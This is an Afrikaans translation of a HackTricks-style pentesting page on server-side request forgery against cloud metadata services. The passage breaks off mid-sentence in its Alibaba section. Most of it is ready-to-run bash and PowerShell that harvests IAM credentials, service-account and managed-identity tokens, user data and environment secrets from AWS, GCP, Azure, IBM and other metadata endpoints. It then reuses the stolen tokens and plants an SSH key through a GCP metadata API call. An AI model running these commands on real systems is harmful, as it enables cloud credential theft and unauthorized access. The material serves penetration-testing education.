# Cloud SSRF {{#include ../../banners/hacktricks-training.md}} ## AWS ### Misbruik van SSRF in AWS EC2 omgewing **Die metadata** eindpunt kan vanaf enige EC2 masjien verkry word en bied interessante inligting daaroor. Dit is toeganklik op die url: `http://169.254.169.254` ([inligting oor die metadata hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). Daar is **2 weergawes** van die metadata eindpunt. Die **eerste** een laat toe om die eindpunt via **GET** versoeke te **verkry** (so enige **SSRF kan dit misbruik**). Vir die **weergawes 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), moet jy 'n **token** aan vra deur 'n **PUT** versoek met 'n **HTTP kop** te stuur en dan daardie token gebruik om die metadata met 'n ander HTTP kop te verkry (so dit is **meer ingewikkeld om te misbruik** met 'n SSRF). > [!CAUTION] > Let daarop dat as die EC2 instansie IMDSv2 afdwing, [**volgens die dokumentasie**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **antwoord van die PUT versoek** 'n **hop limiet van 1** sal hê, wat dit onmoontlik maak om die EC2 metadata vanaf 'n houer binne die EC2 instansie te verkry. > > Boonop sal **IMDSv2** ook **versoeke blokkeer om 'n token te verkry wat die `X-Forwarded-For` kop bevat**. Dit is om te voorkom dat verkeerd geconfigureerde omgekeerde proxies toegang kan verkry. Jy kan inligting oor die [metadata eindpunte in die dokumentasie vind](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). In die volgende skrip word 'n paar interessante inligting daaruit verkry: ```bash EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" URL="http://169.254.169.254/latest/meta-data" aws_req="" if [ "$(command -v curl)" ]; then aws_req="curl -s -f -H '$HEADER'" elif [ "$(command -v wget)" ]; then aws_req="wget -q -O - -H '$HEADER'" else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" printf "region: "; eval $aws_req "$URL/placement/region"; echo "" echo "" echo "Account Info" eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo "" echo "" echo "Network Info" for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do echo "Mac: $mac" printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" echo "" done echo "" echo "IAM Role" eval $aws_req "$URL/iam/info" for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do echo "Role: $role" eval $aws_req "$URL/iam/security-credentials/$role"; echo "" echo "" done echo "" echo "User Data" # Search hardcoded credentials eval $aws_req "http://169.254.169.254/latest/user-data" echo "" echo "EC2 Security Credentials" eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" ``` As 'n **openlik beskikbare IAM geloofsbriewe** blootgestelde voorbeeld kan jy besoek: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) Jy kan ook openbare **EC2 sekuriteitsgeloofsbriewe** nagaan in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) Jy kan dan **daardie geloofsbriewe neem en dit saam met die AWS CLI gebruik**. Dit sal jou toelaat om **enige iets te doen wat daardie rol toestemming het** om te doen. Om voordeel te trek uit die nuwe geloofsbriewe, sal jy 'n nuwe AWS-profiel moet skep soos hierdie een: ``` [profilename] aws_access_key_id = ASIA6GG71[...] aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...] aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw= ``` Let op die **aws_session_token**, dit is onontbeerlik vir die profiel om te werk. [**PACU**](https://github.com/RhinoSecurityLabs/pacu) kan gebruik word met die ontdekte geloofsbriewe om jou voorregte uit te vind en te probeer om voorregte te eskaleer. ### SSRF in AWS ECS (Container Service) geloofsbriewe **ECS** is 'n logiese groep van EC2-instanties waarop jy 'n toepassing kan uitvoer sonder om jou eie klusterbestuursinfrastruktuur te skaal, omdat ECS dit vir jou bestuur. As jy daarin slaag om 'n diens wat in **ECS** loop te kompromitteer, sal die **metadata eindpunte verander**. As jy _**http://169.254.170.2/v2/credentials/\**_ toegang verkry, sal jy die geloofsbriewe van die ECS-masjien vind. Maar eers moet jy die **\** vind. Om die \ te vind, moet jy die **environ** veranderlike **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** binne die masjien lees.\ Jy kan dit dalk lees deur 'n **Path Traversal** na `file:///proc/self/environ` te benut.\ Die genoemde http adres behoort jou die **AccessKey, SecretKey en token** te gee. ```bash curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` > [!NOTE] > Let daarop dat jy in **sommige gevalle** toegang tot die **EC2 metadata instansie** vanaf die houer sal hê (kyk na die IMDSv2 TTL beperkings wat vroeër genoem is). In hierdie scenario's kan jy vanaf die houer toegang tot beide die houer IAM rol en die EC2 IAM rol verkry. ### SSRF vir AWS Lambda In hierdie geval is die **bewyse in omgewingsveranderlikes gestoor**. So, om toegang tot hulle te verkry, moet jy iets soos **`file:///proc/self/environ`** benader. Die **name** van die **interessante omgewingsveranderlikes** is: - `AWS_SESSION_TOKEN` - `AWS_SECRET_ACCESS_KEY` - `AWS_ACCES_KEY_ID` Boonop, benewens IAM bewese, het Lambda funksies ook **gebeurtenisdata wat aan die funksie oorgedra word wanneer dit begin**. Hierdie data is beskikbaar vir die funksie via die [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) en kan **sensitiewe** **inligting** bevat (soos binne die **stageVariables**). Anders as IAM bewese, is hierdie data toeganklik oor standaard SSRF by **`http://localhost:9001/2018-06-01/runtime/invocation/next`**. > [!WARNING] > Let daarop dat **lambda bewese** binne die **omgewingsveranderlikes** is. So as die **stack trace** van die lambda kode omgewingsveranderlikes druk, is dit moontlik om hulle te **exfiltreer deur 'n fout** in die app te veroorsaak. ### SSRF URL vir AWS Elastic Beanstalk Ons verkry die `accountId` en `region` vanaf die API. ``` http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` Ons haal dan die `AccessKeyId`, `SecretAccessKey`, en `Token` van die API af. ``` http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` ![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL) Dan gebruik ons die geloofsbriewe met `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`. ## GCP Jy kan [**hier die dokumentasie oor metadata eindpunte vind**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata). ### SSRF URL vir Google Cloud Vereis die HTTP koptekst **`Metadata-Flavor: Google`** en jy kan die metadata eindpunt bereik met die volgende URL's: - http://169.254.169.254 - http://metadata.google.internal - http://metadata Interessante eindpunte om inligting te onttrek: ```bash # /project # Project name and number curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id # Project attributes curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true # /oslogin # users curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users # groups curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups # security-keys curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys # authorize curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize # /instance # Description curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description # Hostname curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname # ID curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id # Image curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image # Machine Type curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type # Name curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name # Tags curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags # Zone curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone # User data curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script" # Network Interfaces for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip") echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway") echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network") echo " ============== " done # Service Accounts for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") echo " ============== " done # K8s Attributtes ## Cluster location curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location ## Cluster name curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name ## Os-login enabled curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin ## Kube-env curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env ## Kube-labels curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels ## Kubeconfig curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig # All custom project attributes curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" # All custom project attributes instance attributes curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" ``` Beta vereis NIE 'n kopstuk nie (dankie Mathias Karlsson @avlidienbrunn) ``` http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ``` > [!CAUTION] > Om die **uitgehaalde diensrekeningtoken** te **gebruik**, kan jy net doen: > > ```bash > # Via omgewings veranderlikes > export CLOUDSDK_AUTH_ACCESS_TOKEN= > gcloud projects list > > # Via opstelling > echo "" > /some/path/to/token > gcloud config set auth/access_token_file /some/path/to/token > gcloud projects list > gcloud config unset auth/access_token_file > ``` ### Voeg 'n SSH-sleutel by Trek die token uit ``` http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json ``` Kontroleer die omvang van die token (met die vorige uitvoer of deur die volgende uit te voer) ```bash curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA { "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" } ``` Nou druk die SSH-sleutel. ```bash curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" -H "Content-Type: application/json" --data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}' ``` ### Cloud Functions Die metadata-eindpunt werk dieselfde as in VM's, maar sonder sommige eindpunte: ```bash # /project # Project name and number curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id # /instance # ID curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id # Zone curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone # Auto MTLS config curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration # Service Accounts for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") echo " ============== " done ``` ## Digital Ocean > [!WARNING] > Daar is nie dinge soos AWS Roles of GCP diensrekening nie, so moenie verwag om metadata-bot geloofsbriewe te vind nie. Dokumentasie beskikbaar by [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) ``` curl http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1.json http://169.254.169.254/metadata/v1/ http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1/user-data http://169.254.169.254/metadata/v1/hostname http://169.254.169.254/metadata/v1/region http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request: curl http://169.254.169.254/metadata/v1.json | jq ``` ## Azure ### Azure VM [**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux). - **Moet** die kop `Metadata: true` bevat - Moet **nie** 'n `X-Forwarded-For` kop bevat nie > [!TIP] > 'n Azure VM kan 1 stelsel bestuurde identiteit en verskeie gebruikers bestuurde identiteite hê. Dit beteken basies dat jy **alle bestuurde identiteite wat aan 'n VM gekoppel is, kan naboots**. > > Wanneer jy 'n toegangstoken vir die metadata-eindpunt aan vra, sal die metadata-diens standaard die **stelsel toegewyde bestuurde identiteit** gebruik om die token te genereer, as daar enige stelsel toegewyde bestuurde identiteit is. As daar net **EEN gebruikers toegewyde bestuurde identiteit** is, sal dit standaard gebruik word. As daar egter geen stelsel toegewyde bestuurde identiteit is nie en daar **meerdere gebruikers toegewyde bestuurde identiteite** is, sal die metadata-diens 'n fout teruggee wat aandui dat daar meerdere bestuurde identiteite is en dit nodig is om **te spesifiseer watter een om te gebruik**. > > Ongelukkig kon ek nie enige metadata-eindpunt vind wat al die MI's wat 'n VM het, aandui nie, so om al die toegewyde bestuurde identiteite aan 'n VM uit te vind, kan 'n moeilike taak wees vanuit 'n Red Team perspektief. > > Daarom, om al die aangehegte MI's te vind, kan jy doen: > > - Kry **aangehegte identiteite met az cli** (as jy reeds 'n prinsiep in die Azure-huurder gecompromitteer het) > > ```bash > az vm identity show \ > --resource-group \ > --name > ``` > > - Kry **aangehegte identiteite** deur die standaard aangehegte MI in die metadata te gebruik: > > ```bash > export API_VERSION="2021-12-13" > > # Kry token van standaard MI > export TOKEN=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \ > | jq -r '.access_token') > > # Kry nodige besonderhede > export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId') > export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName') > export VM_NAME=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name') > > # Probeer om aangehegte MI's te kry > curl -s -H "Authorization: Bearer $TOKEN" \ > "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq > ``` > > - **Kry al** die gedefinieerde bestuurde identiteite in die huurder en **brute force** om te sien of enige van hulle aan die VM gekoppel is: > > ```bash > az identity list > ``` > [!CAUTION] > In die token versoeke gebruik enige van die parameters `object_id`, `client_id` of `msi_res_id` om die bestuurde identiteit aan te dui wat jy wil gebruik ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). As geen nie, sal die **standaard MI gebruik word**. {{#tabs}} {{#tab name="Bash"}} ```bash HEADER="Metadata:true" URL="http://169.254.169.254/metadata" API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions echo "Instance details" curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION" echo "Load Balancer details" curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION" echo "Management Token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" echo "Graph token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/" echo "Vault token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/" echo "Storage token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/" ``` {{#endtab}} {{#tab name="PS"}} ```bash # Powershell Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 ## User data $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text" [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) ## Get management token (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token ## Get graph token (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token ## Get vault token (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token ## Get storage token (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token # More Paths /metadata/instance?api-version=2017-04-02 /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text ``` {{#endtab}} {{#endtabs}} ### Azure App & Functions Dienste & Automatiseringsrekeninge Van die **env** kan jy die waardes van **`IDENTITY_HEADER`** en **`IDENTITY_ENDPOINT`** kry. Dit kan jy gebruik om 'n token te verskaf om met die metadata bediener te praat. Meestal wil jy 'n token vir een van hierdie hulpbronne hê: - [https://storage.azure.com](https://storage.azure.com/) - [https://vault.azure.net](https://vault.azure.net/) - [https://graph.microsoft.com](https://graph.microsoft.com/) - [https://management.azure.com](https://management.azure.com/) > [!CAUTION] > In die token versoeke gebruik enige van die parameters `object_id`, `client_id` of `msi_res_id` om die bestuurde identiteit aan te dui wat jy wil gebruik ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). As geen, sal die **verstek MI gebruik word**. {{#tabs}} {{#tab name="Bash"}} ```bash # Check for those env vars to know if you are in an Azure app echo $IDENTITY_HEADER echo $IDENTITY_ENDPOINT # (Fingerprint) You should also be able to find the folder: ls /opt/microsoft # Get management token curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" # Get graph token curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" # Get vault token curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" # Get storage token curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" ``` {{#endtab}} {{#tab name="PS"}} ```bash # Define the API version $API_VERSION = "2019-08-01" # Function to get a token for a specified resource function Get-Token { param ( [string]$Resource ) $url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION" $headers = @{ "X-IDENTITY-HEADER" = $IDENTITY_HEADER } try { $response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get $response.access_token } catch { Write-Error "Error obtaining token for $Resource: $_" } } # Get Management Token $managementToken = Get-Token -Resource "https://management.azure.com/" Write-Host "Management Token: $managementToken" # Get Graph Token $graphToken = Get-Token -Resource "https://graph.microsoft.com/" Write-Host "Graph Token: $graphToken" # Get Vault Token $vaultToken = Get-Token -Resource "https://vault.azure.net/" Write-Host "Vault Token: $vaultToken" # Get Storage Token $storageToken = Get-Token -Resource "https://storage.azure.com/" Write-Host "Storage Token: $storageToken" # Using oneliners ## Get management token (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://management.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token ## Get graph token (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://graph.microsoft.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token ## Get vault token (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://vault.azure.net/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token ## Get storage token (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token ## Remember that in Automation Accounts it might be declared the client ID of the assigned user managed identity inside the variable that can be gatehred with: Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID' ``` {{#endtab}} {{#endtabs}} ## IBM Cloud > [!WARNING] > Let op dat in IBM is metadata standaard nie geaktiveer nie, so dit is moontlik dat jy dit nie sal kan toegang nie, selfs al is jy binne 'n IBM cloud VM ```bash export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\ -H "Metadata-Flavor: ibm"\ -H "Accept: application/json"\ -d '{ "expires_in": 3600 }' | jq -r '(.access_token)'` # Get instance details curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq # Get SSH keys info curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq # Get SSH keys fingerprints & user data curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq # Get placement groups curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq # Get IAM credentials curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq ``` Dokumentasie vir verskeie platforms se metadata-dienste word hieronder uiteengesit, wat die metodes beklemtoon waardeur konfigurasie- en tyds-inligting vir instansies verkry kan word. Elke platform bied unieke eindpunte om toegang tot sy metadata-dienste te verkry. ## Packetcloud Vir toegang tot Packetcloud se metadata, kan die dokumentasie gevind word by: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata) ## OpenStack/RackSpace Die noodsaaklikheid vir 'n kop is nie genoem nie. Metadata kan verkry word deur: - `http://169.254.169.254/openstack` ## HP Helion Die noodsaaklikheid vir 'n kop word hier ook nie genoem nie. Metadata is beskikbaar by: - `http://169.254.169.254/2009-04-04/meta-data/` ## Oracle Cloud Oracle Cloud bied 'n reeks eindpunte vir toegang tot verskeie metadata-aspekte: - `http://192.0.0.192/latest/` - `http://192.0.0.192/latest/user-data/` - `http://192.0.0.192/latest/meta-data/` - `http://192.0.0.192/latest/attributes/` ## Alibaba Alibaba bied eindpunte vir toegang 